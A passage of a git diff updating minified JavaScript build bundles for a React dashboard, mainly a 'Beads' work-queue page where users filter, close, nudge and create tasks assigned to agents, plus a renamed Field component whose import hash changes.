0,K=Y(`sessions:${a}`,qe),ke=o.useMemo(()=>K.data?.items??[],[K.data]),M=Y(`agents:${a}`,Ze),N=o.useMemo(()=>M.data?.items??[],[M.data]),V=Y(`rigs:${a}`,pt),G=o.useMemo(()=>V.data?.items??[],[V.data]),C=o.useMemo(()=>mt(G),[G]),B=o.useCallback(t=>ut(t.rig,G),[G]),O=o.useMemo(()=>A.length===0?N:N.filter(t=>B(t)===A),[N,B,A]);o.useEffect(()=>{if(Q){if(O.length===0){y.length>0&&$("");return}O.some(t=>t.name===y)||$(O[0]?.name??"")}},[Q,O,y]),o.useEffect(()=>{c!==v&&!C.includes(c)&&u(v)},[C,c]);const U=ve,b=Ye({viewKey:"beads",rows:U,projectOf:Qe,searchOf:yt,chips:ye}),{toggleChip:ge}=b,Se=o.useCallback(t=>{t===we&&h(f=>!f),ge(t)},[ge]);ze([Ke.bead],()=>{E()},{coalesceMs:bt}),o.useEffect(()=>{r!==null&&m(r)},[r]);const se=o.useCallback(async(t,f,x)=>{if(!s){re({id:t.id,action:f}),S(null);try{if(f==="close")await gt(t.id,x),R(null),_(""),S({tone:"ok",text:`Closed ${t.id}.`});else{const j=t.assignee?.trim()??"";if(j.length===0)throw new Error("Assigned agent is required before nudging.");await ht(j),S({tone:"ok",text:`Nudged ${j}.`})}await E()}catch(j){S({tone:"error",text:fe(j,`${f} failed`)})}finally{re(null)}}},[s,E]),Ie=o.useCallback(()=>{const t=C[0]??"",f=N.find(x=>t.length===0||B(x)===t);ce(""),de(""),ue(t),$(f?.name??""),W(null),S(null),T(!0)},[N,B,C]),Be=o.useCallback(t=>{if(ue(t),!N.some(x=>x.name===y&&(t.length===0||B(x)===t))){const x=N.find(j=>t.length===0||B(j)===t);$(x?.name??"")}},[N,B,y]),Re=o.useCallback(async()=>{if(!s){oe(!0),W(null);try{const t=await ft({title:q,description:Z,rig:A,target:y});S({tone:"ok",text:`Created ${t.bead.id} and slung to ${y}.`}),T(!1),await E()}catch(t){W(fe(t,"create and sling failed"))}finally{oe(!1)}}},[y,Z,A,q,s,E]),P=o.useMemo(()=>b.groups.flatMap(t=>t.rows),[b.groups]),ne=o.useMemo(()=>rt(P),[P]),Ae=o.useMemo(()=>{const t=new Map;for(const f of b.groups)t.set(f.projectKey,new Set(f.rows.map(x=>x.id)));return t},[b.groups]),Ee=o.useMemo(()=>P.find(t=>t.id===p)??null,[P,p]),_e=o.useMemo(()=>p===null?null:ne.nodes.get(p)??null,[ne,p]),$e=o.useMemo(()=>t=>Ge(n,"beads",t),[n]),Me=o.useCallback(t=>{const f=t.assignee?.trim()??"",x=k!==null,j=k?.id===t.id?k.action.replace("_"," "):null,he=s?J:void 0;return e.jsxs("div",{className:"flex flex-wrap items-center justify-end gap-2",children:[s&&e.jsx(xe,{}),j&&e.jsx("span",{className:"text-label uppercase tracking-wider text-fg-faint",children:j}),e.jsx(w,{type:"button",size:"sm",tone:"quiet",title:he,disabled:s||x||t.status==="closed",onClick:()=>{_(""),S(null),R(t)},children:"Close"}),e.jsx(w,{type:"button",size:"sm",tone:"quiet",title:he,disabled:s||x||f.length===0,onClick:()=>{se(t,"nudge")},children:"Nudge"})]})},[k,s,se]),Oe=o.useMemo(()=>H?Nt(U,pe,c):"Loading beads.",[U,H,pe,c]),Pe=typeof ee=="number"&&typeof te=="number"&&te<ee;return e.jsxs("section",{children:[e.jsx(We,{title:"Beads",synopsis:Oe,meta:e.jsxs(e.Fragment,{children:[me&&e.jsx("span",{className:"normal-case text-body text-accent",role:"alert",children:me}),K.error&&e.jsx("span",{className:"normal-case text-body text-accent",role:"alert",children:K.error}),M.error&&e.jsx("span",{className:"normal-case text-body text-accent",role:"alert",children:M.error}),V.error&&e.jsx("span",{className:"normal-case text-body text-accent",role:"alert",children:V.error}),e.jsx("span",{className:"text-label uppercase tracking-wider text-fg-faint",children:d?"All statuses":"Open work"}),s&&e.jsx(xe,{}),e.jsx(w,{type:"button",size:"sm",title:s?J:void 0,onClick:Ie,disabled:s||M.loading||N.length===0,children:"New bead"}),e.jsx(w,{size:"sm",onClick:()=>{E()},disabled:z,children:z&&!H?"Loading":z?"Refreshing":"Refresh"})]})}),e.jsxs("div",{className:"space-y-2 mb-6 text-body text-fg-muted max-w-prose",children:[Pe&&e.jsx("p",{className:"text-warn",children:e.jsx(je,{tone:"warn",label:`Fetch window covered ${te} of ${ee} store beads. Raise the fetch limit (currently ${Ce??"?"}) if engineering work sits past the window.`})}),c!==v&&e.jsxs("p",{children:["Filtering by rig ",e.jsx("span",{className:"text-accent",children:c}),"."," ",e.jsx("button",{type:"button",onClick:()=>u(v),className:"text-fg-muted hover:text-fg focus-mark underline decoration-dotted underline-offset-2 rounded-sm",children:"Clear"})]}),F&&e.jsx("p",{className:F.tone==="error"?"text-accent":"text-fg-muted",role:F.tone==="error"?"alert":"status",children:F.text})]}),e.jsx(tt,{items:n.byDomain.beads.items,onOpen:m}),e.jsxs("div",{className:"mb-6 space-y-3",children:[e.jsx(Xe,{value:b.search,onChange:b.setSearch,placeholder:"Search beads by id, title, label, assignee",matchCount:b.totalMatches,totalCount:U.length,ariaLabel:"Search beads"}),e.jsxs("div",{className:"flex flex-wrap items-baseline gap-x-8 gap-y-3",children:[e.jsx(Je,{chips:ye,activeIds:b.activeChipIds,onToggle:Se,legend:"Status"}),C.length>1&&e.jsxs("label",{className:"flex items-baseline gap-2 text-label",children:[e.jsx("span",{className:"uppercase tracking-wider text-fg-muted",children:"Rig"}),e.jsxs("select",{value:c,onChange:t=>u(t.target.value),"aria-label":"Rig filter",className:"text-label uppercase tracking-wider text-fg-muted bg-transparent border-0 focus-mark cursor-pointer hover:text-fg transition-colors duration-150 ease-out-quart",children:[e.jsx("option",{value:v,children:"all rigs"}),C.map(t=>e.jsx("option",{value:t,children:t},t))]})]})]})]}),!H&&z?e.jsx("p",{className:"text-body text-fg-muted italic",children:"Loading beads."}):P.length===0?e.jsx("p",{className:"text-body text-fg-muted italic",children:b.search.length>0||b.activeChipIds.size>0?"No beads match the current search or filter.":"Nothing on the queue right now."}):e.jsx("div",{className:"space-y-12",children:b.groups.map(t=>e.jsx(dt,{label:t.project,count:t.totalInProject,graph:ne,ids:Ae.get(t.projectKey)??xt,selectedId:p,attentionSeverity:$e,onSelect:m},t.projectKey))}),e.jsx(Ue,{open:p!==null,onClose:()=>m(null),beadId:p,initialBead:Ee,depNode:_e,sessions:ke,onOpenBead:m,renderActions:Me}),e.jsx(be,{open:g!==null,onClose:()=>{k===null&&(R(null),_(""))},title:g?`Close ${g.id}`:"Close bead",caption:g?.title,widthClass:"max-w-xl",footer:e.jsxs(e.Fragment,{children:[e.jsx(w,{type:"button",size:"sm",tone:"quiet",disabled:k!==null,onClick:()=>{R(null),_("")},children:"Cancel"}),e.jsx(w,{type:"button",size:"sm",tone:"accent",title:s?J:void 0,disabled:s||g===null||k!==null,onClick:()=>{g&&se(g,"close",le)},children:"Close bead"})]}),children:e.jsxs("label",{className:"block space-y-2 text-body",children:[e.jsx("span",{className:"text-label uppercase tracking-wider text-fg-muted",children:"Reason"}),e.jsx("textarea",{value:le,onChange:t=>_(t.target.value),rows:4,placeholder:"Optional close reason",className:"w-full rounded-sm border border-rule bg-transparent px-3 py-2 text-body text-fg focus-mark"})]})}),e.jsx(be,{open:Q,onClose:()=>{D||T(!1)},title:"New bead",caption:"Create and sling",widthClass:"max-w-2xl",footer:e.jsxs(e.Fragment,{children:[e.jsx(w,{type:"button",size:"sm",tone:"quiet",disabled:D,onClick:()=>T(!1),children:"Cancel"}),e.jsx(w,{type:"submit",form:"new-bead-form",size:"sm",title:s?J:void 0,disabled:s||D||q.trim().length===0||y.trim().length===0,children:D?"Creating":"Create and sling"})]}),children:e.jsxs("form",{id:"new-bead-form",className:"space-y-5",onSubmit:t=>{t.preventDefault(),Re()},children:[ie&&e.jsx("p",{className:"text-accent",role:"alert",children:ie}),e.jsxs("label",{className:"block space-y-2 text-body",children:[e.jsx("span",{className:"text-label uppercase tracking-wider text-fg-muted",children:"Title"}),e.jsx("input",{value:q,onChange:t=>ce(t.target.value),required:!0,className:"w-full rounded-sm border border-rule bg-transparent px-3 py-2 text-body text-fg focus-mark"})]}),e.jsxs("label",{className:"block space-y-2 text-body",children:[e.jsx("span",{className:"text-label uppercase tracking-wider text-fg-muted",children:"Body"}),e.jsx("textarea",{value:Z,onChange:t=>de(t.target.value),rows:5,className:"w-full rounded-sm border border-rule bg-transparent px-3 py-2 text-body text-fg focus-mark"})]}),e.jsxs("div",{className:"grid gap-4 sm:grid-cols-2",children:[e.jsxs("label",{className:"block space-y-2 text-body",children:[e.jsx("span",{className:"text-label uppercase tracking-wider text-fg-muted",children:"Rig"}),e.jsxs("select",{value:A,onChange:t=>Be(t.target.value),className:"w-full rounded-sm border border-rule bg-transparent px-3 py-2 text-body text-fg focus-mark",children:[C.length===0&&e.jsx("option",{value:"",children:"all rigs"}),C.map(t=>e.jsx("option",{value:t,children:t},t))]})]}),e.jsxs("label",{className:"block space-y-2 text-body",children:[e.jsx("span",{className:"text-label uppercase tracking-wider text-fg-muted",children:"Agent"}),e.jsx("select",{value:y,onChange:t=>$(t.target.value),required:!0,className:"w-full rounded-sm border border-rule bg-transparent px-3 py-2 text-body text-fg focus-mark",children:O.map(t=>e.jsx("option",{value:t.name,children:t.display_name??t.name},t.name))})]})]})]})})]})}function jt(n){const s=n?.trim();return s&&s.length>0?s:null}function Nt(n,s,l){if(l!==v&&n.length===0)return`No beads on ${l}.`;const a=n.filter(d=>d.status==="open").length,i=n.filter(d=>d.status==="in_progress").length,r=n.filter(d=>d.status==="blocked").length,c=[];if(a>0&&c.push(`${a} open`),i>0&&c.push(`${i} in progress`),r>0&&c.push(`${r} blocked`),c.length===0)return"Nothing on the queue.";let u=`${c.join(", ")}.`;return l!==v&&(u=`${l}: ${u}`),s>n.length&&(u+=` Showing ${n.length} of ${s}.`),u}export{Mt as BeadsPage};
+import{j as e,S as je,B as w,r as o,I as L,J as X,a as Le,g as Fe,K as Te,b as Y,c as De,l as qe,f as ze,z as fe,R as xe,i as J,H as He,G as Ke}from"./index-BFDP6Xwd.js";import{b as Ve,r as Ge}from"./routeHighlight-B30gQO2o.js";import{B as Ue}from"./BeadDetailModal-BKOlUSQL.js";import{u as Ye,F as Je}from"./useListFilters-CE9qAvrH.js";import{L as Xe,f as Qe}from"./projectOf-CJPpTC86.js";import{M as be}from"./constants-DOaI3lZl.js";import{P as We}from"./PageHeader-5RHLpIfH.js";import{l as Ze}from"./agentReads-DcDPDlRM.js";import"./format-fte2CeYD.js";import"./Field-BpdGqWpv.js";import"./LiveSessionPeek-Cjv3DcC3.js";import"./time-D9v0saHV.js";function et(n){if(n===void 0)return null;const s=n.indexOf("?");if(s<0)return null;const l=new URLSearchParams(n.slice(s+1)).get("bead");return l!==null&&l.length>0?l:null}function tt({items:n,onOpen:s}){const l=n.filter(a=>a.severity==="attention"||a.severity==="watch");return l.length===0?null:e.jsxs("section",{"aria-labelledby":"beads-attention-title",className:"mb-8 space-y-3",children:[e.jsxs("h2",{id:"beads-attention-title",className:"text-label uppercase tracking-wider text-fg-muted",children:["Needs you ",e.jsxs("span",{className:"tnum text-fg",children:["(",l.length,")"]})]}),e.jsx("ul",{className:"space-y-2",children:l.map(a=>{const i=et(a.href);return e.jsxs("li",{className:"flex flex-wrap items-baseline justify-between gap-x-4 gap-y-1",children:[e.jsxs("div",{className:"min-w-0 space-y-0.5",children:[e.jsx(je,{tone:a.severity==="attention"?"stuck":"warn",label:a.title}),a.summary!==void 0&&e.jsx("p",{className:"text-body text-fg-muted",children:a.summary})]}),i!==null&&e.jsx("div",{className:"flex items-center gap-2",children:e.jsx(w,{type:"button",size:"sm",tone:"quiet",onClick:()=>s(i),children:"Open"})})]},a.id)})})]})}const ae=[{id:"ready",label:"ready"},{id:"open",label:"open"},{id:"in_progress",label:"in progress"},{id:"blocked",label:"blocked"},{id:"done",label:"done"}];function st(n){const s=new Set,l=[];for(const a of n.needs??[])a.length===0||s.has(a)||(s.add(a),l.push({id:a,kind:"needs"}));for(const a of n.dependencies??[]){const i=a.depends_on_id;i.length===0||s.has(i)||(s.add(i),l.push({id:i,kind:a.type}))}return l}function nt(n){return(n.needs??[]).filter(s=>s.length>0)}function at(n){switch(n.bead.status){case"in_progress":return"in_progress";case"blocked":return"blocked";case"closed":return"done";default:return n.ready?"ready":"open"}}function lt(n,s){const l=n.bead.priority??Number.POSITIVE_INFINITY,a=s.bead.priority??Number.POSITIVE_INFINITY;return l!==a?l-a:n.bead.id<s.bead.id?-1:n.bead.id>s.bead.id?1:0}function rt(n){const s=new Map;for(const r of n)s.set(r.id,r);const l=new Map,a=new Map;for(const r of n){const c=st(r).map(({id:m,kind:g})=>({id:m,kind:g,bead:s.get(m)??null})),u=c.some(m=>m.bead===null),d=nt(r),h=r.status==="open"&&d.every(m=>s.get(m)?.status==="closed"),p={bead:r,deps:c,blocks:[],ready:h,hasUnresolvedDeps:u,column:"open"};p.column=at(p),a.set(r.id,p);for(const m of c){if(m.bead===null)continue;const g=l.get(m.id);g?g.push(r):l.set(m.id,[r])}}for(const[r,c]of l){const u=a.get(r);u&&(u.blocks=[...c].sort((d,h)=>d.id<h.id?-1:d.id>h.id?1:0))}const i=Ne();for(const r of a.values())i[r.column].push(r);for(const r of ae)i[r.id].sort(lt);return{nodes:a,columns:i}}function Ne(){return{ready:[],open:[],in_progress:[],blocked:[],done:[]}}function ot(n,s){const l=Ne();for(const a of ae)l[a.id]=n.columns[a.id].filter(i=>s.has(i.bead.id));return l}function it({node:n,selected:s,attentionSeverity:l=null,onSelect:a}){const{bead:i,deps:r,blocks:c,hasUnresolvedDeps:u}=n,d=o.useRef(null),h=r.length,p=c.length,m=h>0||p>0,{className:g="",...R}=Ve(l);return o.useEffect(()=>{s&&d.current?.scrollIntoView?.({block:"center",inline:"nearest"})},[s]),e.jsx("li",{ref:d,...R,className:`px-2 py-2 -mx-2 rounded-sm transition-colors duration-150 ease-out-quart ${s?"bg-surface-tint":"hover:bg-surface-tint/60"} ${g}`,children:e.jsxs("button",{type:"button",onClick:()=>a(i.id),className:"text-left w-full focus-mark rounded-sm","aria-pressed":s,title:`Select ${i.id}`,children:[e.jsxs("span",{className:"flex items-baseline gap-2",children:[e.jsx("span",{className:"text-fg-faint","aria-hidden":"true",children:s?"▸":" "}),e.jsx("span",{className:`min-w-0 line-clamp-2 text-body ${s?"text-fg font-medium":"text-fg"}`,children:i.title})]}),e.jsxs("span",{className:"flex items-baseline gap-3 pl-4 mt-0.5 text-label uppercase tracking-wider text-fg-faint",children:[e.jsx("span",{className:"tnum",children:i.id}),i.priority!=null&&e.jsxs("span",{className:"tnum",children:["P",i.priority]}),m&&e.jsxs("span",{className:"tnum normal-case tracking-normal",children:[h>0&&`needs ${h}`,h>0&&p>0&&" · ",p>0&&`blocks ${p}`]}),u&&e.jsx("span",{className:"normal-case tracking-normal text-warn",children:"unresolved"})]})]})})}function ct({columns:n,selectedId:s,attentionSeverity:l,onSelect:a}){return e.jsx("div",{className:"grid grid-cols-1 sm:grid-cols-2 xl:grid-cols-5 gap-x-8 gap-y-8",children:ae.map(i=>{const r=n[i.id],u=i.id==="blocked"&&r.length>0?"text-accent":"text-fg-muted";return e.jsxs("section",{"aria-label":i.label,children:[e.jsxs("header",{className:"flex items-baseline justify-between border-b border-rule pb-2 mb-3",children:[e.jsx("h3",{className:"text-label uppercase tracking-wider text-fg-muted",children:i.label}),e.jsx("span",{className:`text-label tnum ${u}`,children:r.length})]}),r.length===0?e.jsx("p",{className:"text-body text-fg-faint italic",children:"·"}):e.jsx("ul",{className:"space-y-1",children:r.map(d=>e.jsx(it,{node:d,selected:d.bead.id===s,attentionSeverity:l?.(d.bead.id)??null,onSelect:a},d.bead.id))})]},i.id)})})}function dt({label:n,count:s,graph:l,ids:a,selectedId:i,attentionSeverity:r,onSelect:c}){const u=ot(l,a);return e.jsxs("section",{"aria-label":n,children:[e.jsxs("header",{className:"flex items-baseline justify-between border-b border-rule pb-2 mb-4",children:[e.jsx("h2",{className:"text-headline text-fg",children:n}),e.jsx("span",{className:"text-label tnum text-fg-muted",children:s})]}),e.jsx(ct,{columns:u,selectedId:i,...r===void 0?{}:{attentionSeverity:r},onSelect:c})]})}function ut(n,s){const l=n?.trim();if(!l)return;const a=s.find(r=>r.name===l);return a?a.name:s.find(r=>r.path===l)?.name}function mt(n){return Array.from(new Set(n.map(s=>s.name.trim()).filter(s=>s.length>0))).sort((s,l)=>s.localeCompare(l))}async function pt(){const n=await L().listRigs(X("list supervisor rigs"));return{...n,items:n.items??[]}}async function gt(n,s){const l=s?.trim()??"";await L().closeBead(X("close supervisor bead"),n,l.length===0?void 0:{reason:l})}async function ht(n){const s=n.trim();if(s.length===0)throw new Error("agent alias is required");await L().nudgeAgent(X("nudge supervisor agent"),s)}async function ft(n){const s=n.title.trim(),l=n.description.trim(),a=n.rig.trim(),i=n.target.trim();if(s.length===0)throw new Error("bead title is required");if(i.length===0)throw new Error("sling target is required");const r=X("create and sling supervisor bead"),c={title:s};l.length>0&&(c.description=l);const u=await L().createBead(r,c),d={bead:u.id,target:i};a.length>0&&(d.rig=a);const h=await L().sling(r,d);return{bead:u,sling:h}}const xt=new Set,v="",we="closed",bt=1e4,ye=[{id:"open",label:"open",match:n=>n.status==="open"},{id:"in_progress",label:"in progress",match:n=>n.status==="in_progress"},{id:"blocked",label:"blocked",match:n=>n.status==="blocked"},{id:we,label:"closed",match:n=>n.status==="closed"}],yt=n=>[n.id,n.title,n.assignee,...n.labels??[]];function Mt(){const n=Le(),s=Fe(),a=He()??"no-city",[i]=Te(),r=jt(i.get("bead")),[c,u]=o.useState(v),[d,h]=o.useState(!1),[p,m]=o.useState(r),[g,R]=o.useState(null),[le,_]=o.useState(""),[k,re]=o.useState(null),[F,S]=o.useState(null),[Q,T]=o.useState(!1),[D,oe]=o.useState(!1),[ie,W]=o.useState(null),[q,ce]=o.useState(""),[Z,de]=o.useState(""),[A,ue]=o.useState(""),[y,$]=o.useState(""),{data:I,loading:z,error:me,refresh:E}=Y(`beads:board:${a}:${c}:${d?"all":"open"}`,()=>De({includeClosed:d,...c===v?{}:{rigFilter:c}})),ve=o.useMemo(()=>I?.items??[],[I]),pe=I?.total??0,ee=I?.upstream_total,te=I?.upstream_fetched,Ce=I?.fetch_limit,H=I!==void 0,K=Y(`sessions:${a}`,qe),ke=o.useMemo(()=>K.data?.items??[],[K.data]),M=Y(`agents:${a}`,Ze),N=o.useMemo(()=>M.data?.items??[],[M.data]),V=Y(`rigs:${a}`,pt),G=o.useMemo(()=>V.data?.items??[],[V.data]),C=o.useMemo(()=>mt(G),[G]),B=o.useCallback(t=>ut(t.rig,G),[G]),O=o.useMemo(()=>A.length===0?N:N.filter(t=>B(t)===A),[N,B,A]);o.useEffect(()=>{if(Q){if(O.length===0){y.length>0&&$("");return}O.some(t=>t.name===y)||$(O[0]?.name??"")}},[Q,O,y]),o.useEffect(()=>{c!==v&&!C.includes(c)&&u(v)},[C,c]);const U=ve,b=Ye({viewKey:"beads",rows:U,projectOf:Qe,searchOf:yt,chips:ye}),{toggleChip:ge}=b,Se=o.useCallback(t=>{t===we&&h(f=>!f),ge(t)},[ge]);ze([Ke.bead],()=>{E()},{coalesceMs:bt}),o.useEffect(()=>{r!==null&&m(r)},[r]);const se=o.useCallback(async(t,f,x)=>{if(!s){re({id:t.id,action:f}),S(null);try{if(f==="close")await gt(t.id,x),R(null),_(""),S({tone:"ok",text:`Closed ${t.id}.`});else{const j=t.assignee?.trim()??"";if(j.length===0)throw new Error("Assigned agent is required before nudging.");await ht(j),S({tone:"ok",text:`Nudged ${j}.`})}await E()}catch(j){S({tone:"error",text:fe(j,`${f} failed`)})}finally{re(null)}}},[s,E]),Ie=o.useCallback(()=>{const t=C[0]??"",f=N.find(x=>t.length===0||B(x)===t);ce(""),de(""),ue(t),$(f?.name??""),W(null),S(null),T(!0)},[N,B,C]),Be=o.useCallback(t=>{if(ue(t),!N.some(x=>x.name===y&&(t.length===0||B(x)===t))){const x=N.find(j=>t.length===0||B(j)===t);$(x?.name??"")}},[N,B,y]),Re=o.useCallback(async()=>{if(!s){oe(!0),W(null);try{const t=await ft({title:q,description:Z,rig:A,target:y});S({tone:"ok",text:`Created ${t.bead.id} and slung to ${y}.`}),T(!1),await E()}catch(t){W(fe(t,"create and sling failed"))}finally{oe(!1)}}},[y,Z,A,q,s,E]),P=o.useMemo(()=>b.groups.flatMap(t=>t.rows),[b.groups]),ne=o.useMemo(()=>rt(P),[P]),Ae=o.useMemo(()=>{const t=new Map;for(const f of b.groups)t.set(f.projectKey,new Set(f.rows.map(x=>x.id)));return t},[b.groups]),Ee=o.useMemo(()=>P.find(t=>t.id===p)??null,[P,p]),_e=o.useMemo(()=>p===null?null:ne.nodes.get(p)??null,[ne,p]),$e=o.useMemo(()=>t=>Ge(n,"beads",t),[n]),Me=o.useCallback(t=>{const f=t.assignee?.trim()??"",x=k!==null,j=k?.id===t.id?k.action.replace("_"," "):null,he=s?J:void 0;return e.jsxs("div",{className:"flex flex-wrap items-center justify-end gap-2",children:[s&&e.jsx(xe,{}),j&&e.jsx("span",{className:"text-label uppercase tracking-wider text-fg-faint",children:j}),e.jsx(w,{type:"button",size:"sm",tone:"quiet",title:he,disabled:s||x||t.status==="closed",onClick:()=>{_(""),S(null),R(t)},children:"Close"}),e.jsx(w,{type:"button",size:"sm",tone:"quiet",title:he,disabled:s||x||f.length===0,onClick:()=>{se(t,"nudge")},children:"Nudge"})]})},[k,s,se]),Oe=o.useMemo(()=>H?Nt(U,pe,c):"Loading beads.",[U,H,pe,c]),Pe=typeof ee=="number"&&typeof te=="number"&&te<ee;return e.jsxs("section",{children:[e.jsx(We,{title:"Beads",synopsis:Oe,meta:e.jsxs(e.Fragment,{children:[me&&e.jsx("span",{className:"normal-case text-body text-accent",role:"alert",children:me}),K.error&&e.jsx("span",{className:"normal-case text-body text-accent",role:"alert",children:K.error}),M.error&&e.jsx("span",{className:"normal-case text-body text-accent",role:"alert",children:M.error}),V.error&&e.jsx("span",{className:"normal-case text-body text-accent",role:"alert",children:V.error}),e.jsx("span",{className:"text-label uppercase tracking-wider text-fg-faint",children:d?"All statuses":"Open work"}),s&&e.jsx(xe,{}),e.jsx(w,{type:"button",size:"sm",title:s?J:void 0,onClick:Ie,disabled:s||M.loading||N.length===0,children:"New bead"}),e.jsx(w,{size:"sm",onClick:()=>{E()},disabled:z,children:z&&!H?"Loading":z?"Refreshing":"Refresh"})]})}),e.jsxs("div",{className:"space-y-2 mb-6 text-body text-fg-muted max-w-prose",children:[Pe&&e.jsx("p",{className:"text-warn",children:e.jsx(je,{tone:"warn",label:`Fetch window covered ${te} of ${ee} store beads. Raise the fetch limit (currently ${Ce??"?"}) if engineering work sits past the window.`})}),c!==v&&e.jsxs("p",{children:["Filtering by rig ",e.jsx("span",{className:"text-accent",children:c}),"."," ",e.jsx("button",{type:"button",onClick:()=>u(v),className:"text-fg-muted hover:text-fg focus-mark underline decoration-dotted underline-offset-2 rounded-sm",children:"Clear"})]}),F&&e.jsx("p",{className:F.tone==="error"?"text-accent":"text-fg-muted",role:F.tone==="error"?"alert":"status",children:F.text})]}),e.jsx(tt,{items:n.byDomain.beads.items,onOpen:m}),e.jsxs("div",{className:"mb-6 space-y-3",children:[e.jsx(Xe,{value:b.search,onChange:b.setSearch,placeholder:"Search beads by id, title, label, assignee",matchCount:b.totalMatches,totalCount:U.length,ariaLabel:"Search beads"}),e.jsxs("div",{className:"flex flex-wrap items-baseline gap-x-8 gap-y-3",children:[e.jsx(Je,{chips:ye,activeIds:b.activeChipIds,onToggle:Se,legend:"Status"}),C.length>1&&e.jsxs("label",{className:"flex items-baseline gap-2 text-label",children:[e.jsx("span",{className:"uppercase tracking-wider text-fg-muted",children:"Rig"}),e.jsxs("select",{value:c,onChange:t=>u(t.target.value),"aria-label":"Rig filter",className:"text-label uppercase tracking-wider text-fg-muted bg-transparent border-0 focus-mark cursor-pointer hover:text-fg transition-colors duration-150 ease-out-quart",children:[e.jsx("option",{value:v,children:"all rigs"}),C.map(t=>e.jsx("option",{value:t,children:t},t))]})]})]})]}),!H&&z?e.jsx("p",{className:"text-body text-fg-muted italic",children:"Loading beads."}):P.length===0?e.jsx("p",{className:"text-body text-fg-muted italic",children:b.search.length>0||b.activeChipIds.size>0?"No beads match the current search or filter.":"Nothing on the queue right now."}):e.jsx("div",{className:"space-y-12",children:b.groups.map(t=>e.jsx(dt,{label:t.project,count:t.totalInProject,graph:ne,ids:Ae.get(t.projectKey)??xt,selectedId:p,attentionSeverity:$e,onSelect:m},t.projectKey))}),e.jsx(Ue,{open:p!==null,onClose:()=>m(null),beadId:p,initialBead:Ee,depNode:_e,sessions:ke,onOpenBead:m,renderActions:Me}),e.jsx(be,{open:g!==null,onClose:()=>{k===null&&(R(null),_(""))},title:g?`Close ${g.id}`:"Close bead",caption:g?.title,widthClass:"max-w-xl",footer:e.jsxs(e.Fragment,{children:[e.jsx(w,{type:"button",size:"sm",tone:"quiet",disabled:k!==null,onClick:()=>{R(null),_("")},children:"Cancel"}),e.jsx(w,{type:"button",size:"sm",tone:"accent",title:s?J:void 0,disabled:s||g===null||k!==null,onClick:()=>{g&&se(g,"close",le)},children:"Close bead"})]}),children:e.jsxs("label",{className:"block space-y-2 text-body",children:[e.jsx("span",{className:"text-label uppercase tracking-wider text-fg-muted",children:"Reason"}),e.jsx("textarea",{value:le,onChange:t=>_(t.target.value),rows:4,placeholder:"Optional close reason",className:"w-full rounded-sm border border-rule bg-transparent px-3 py-2 text-body text-fg focus-mark"})]})}),e.jsx(be,{open:Q,onClose:()=>{D||T(!1)},title:"New bead",caption:"Create and sling",widthClass:"max-w-2xl",footer:e.jsxs(e.Fragment,{children:[e.jsx(w,{type:"button",size:"sm",tone:"quiet",disabled:D,onClick:()=>T(!1),children:"Cancel"}),e.jsx(w,{type:"submit",form:"new-bead-form",size:"sm",title:s?J:void 0,disabled:s||D||q.trim().length===0||y.trim().length===0,children:D?"Creating":"Create and sling"})]}),children:e.jsxs("form",{id:"new-bead-form",className:"space-y-5",onSubmit:t=>{t.preventDefault(),Re()},children:[ie&&e.jsx("p",{className:"text-accent",role:"alert",children:ie}),e.jsxs("label",{className:"block space-y-2 text-body",children:[e.jsx("span",{className:"text-label uppercase tracking-wider text-fg-muted",children:"Title"}),e.jsx("input",{value:q,onChange:t=>ce(t.target.value),required:!0,className:"w-full rounded-sm border border-rule bg-transparent px-3 py-2 text-body text-fg focus-mark"})]}),e.jsxs("label",{className:"block space-y-2 text-body",children:[e.jsx("span",{className:"text-label uppercase tracking-wider text-fg-muted",children:"Body"}),e.jsx("textarea",{value:Z,onChange:t=>de(t.target.value),rows:5,className:"w-full rounded-sm border border-rule bg-transparent px-3 py-2 text-body text-fg focus-mark"})]}),e.jsxs("div",{className:"grid gap-4 sm:grid-cols-2",children:[e.jsxs("label",{className:"block space-y-2 text-body",children:[e.jsx("span",{className:"text-label uppercase tracking-wider text-fg-muted",children:"Rig"}),e.jsxs("select",{value:A,onChange:t=>Be(t.target.value),className:"w-full rounded-sm border border-rule bg-transparent px-3 py-2 text-body text-fg focus-mark",children:[C.length===0&&e.jsx("option",{value:"",children:"all rigs"}),C.map(t=>e.jsx("option",{value:t,children:t},t))]})]}),e.jsxs("label",{className:"block space-y-2 text-body",children:[e.jsx("span",{className:"text-label uppercase tracking-wider text-fg-muted",children:"Agent"}),e.jsx("select",{value:y,onChange:t=>$(t.target.value),required:!0,className:"w-full rounded-sm border border-rule bg-transparent px-3 py-2 text-body text-fg focus-mark",children:O.map(t=>e.jsx("option",{value:t.name,children:t.display_name??t.name},t.name))})]})]})]})})]})}function jt(n){const s=n?.trim();return s&&s.length>0?s:null}function Nt(n,s,l){if(l!==v&&n.length===0)return`No beads on ${l}.`;const a=n.filter(d=>d.status==="open").length,i=n.filter(d=>d.status==="in_progress").length,r=n.filter(d=>d.status==="blocked").length,c=[];if(a>0&&c.push(`${a} open`),i>0&&c.push(`${i} in progress`),r>0&&c.push(`${r} blocked`),c.length===0)return"Nothing on the queue.";let u=`${c.join(", ")}.`;return l!==v&&(u=`${l}: ${u}`),s>n.length&&(u+=` Showing ${n.length} of ${s}.`),u}export{Mt as BeadsPage};
diff --git a/internal/api/dashboardspa/dist/assets/Field-n7F8BpXe.js b/internal/api/dashboardspa/dist/assets/Field-BpdGqWpv.js
similarity index 85%
rename from internal/api/dashboardspa/dist/assets/Field-n7F8BpXe.js
rename to internal/api/dashboardspa/dist/assets/Field-BpdGqWpv.js
index 8f95ce0699..43b7a5a99e 100644
--- a/internal/api/dashboardspa/dist/assets/Field-n7F8BpXe.js
+++ b/internal/api/dashboardspa/dist/assets/Field-BpdGqWpv.js
@@ -1 +1 @@
-import{j as e}from"./index-fZITW1u7.js";function i({label:t,children:s,variant:a="definition"}){return a==="form"?e.jsxs("label",{className:"block space-y-1.5",children:[e.jsx("span",{className:"text-label uppercase tracking-wider text-fg-muted",children:t}),s]}):e.jsxs("div",{children:[e.jsx("dt",{className:"text-label uppercase tracking-wider text-fg-faint mb-1",children:t}),e.jsx("dd",{className:"text-body text-fg",children:s})]})}export{i as F};
+import{j as e}from"./index-BFDP6Xwd.js";function i({label:t,children:s,variant:a="definition"}){return a==="form"?e.jsxs("label",{className:"block space-y-1.5",children:[e.jsx("span",{className:"text-label uppercase tracking-wider text-fg-muted",children:t}),s]}):e.jsxs("div",{children:[e.jsx("dt",{className:"text-label uppercase tracking-wider text-fg-faint mb-1",children:t}),e.jsx("dd",{className:"text-body text-fg",children:s})]})}export{i as F};
